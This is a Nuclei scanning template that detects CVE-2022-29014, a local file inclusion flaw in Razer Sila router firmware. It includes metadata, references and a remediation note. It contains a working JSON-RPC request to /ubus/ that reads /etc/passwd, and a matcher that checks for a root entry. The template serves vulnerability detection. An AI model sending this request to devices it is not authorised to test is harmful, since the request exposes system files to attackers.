id: CVE-2022-29014

info:
  name: Razer Sila Gaming Router 2.0.441_api-2.0.418 - Local File Inclusion
  author: edoardottt
  severity: high
  description: Razer Sila Gaming Router 2.0.441_api-2.0.418 is vulnerable to local file inclusion which could allow attackers to read arbitrary files.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system.
  remediation: |
    Apply the latest firmware update provided by Razer to fix the Local File Inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50864
    - https://nvd.nist.gov/vuln/detail/CVE-2022-29014
    - https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
    - https://packetstormsecurity.com/files/166683/Razer-Sila-2.0.418-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-29014
    epss-score: 0.10612
    epss-percentile: 0.95213
    cpe: cpe:2.3:o:razer:sila_firmware:2.0.441_api-2.0.418:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: razer
    product: sila_firmware
  tags: cve,cve2022,edb,packetstorm,razer,lfi,router,vkev,vuln

http:
  - raw:
      - |
        POST /ubus/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402207de16da0c58d93e0f1bbd1a2a3824dc930873de6572c35b9a3bde6050d4ce79e022015a0b658d61a0b384ff83d6d244617df7aa613c379f8982bda4ee4e35437469f:922c64590222798bb761d5b6d8e72950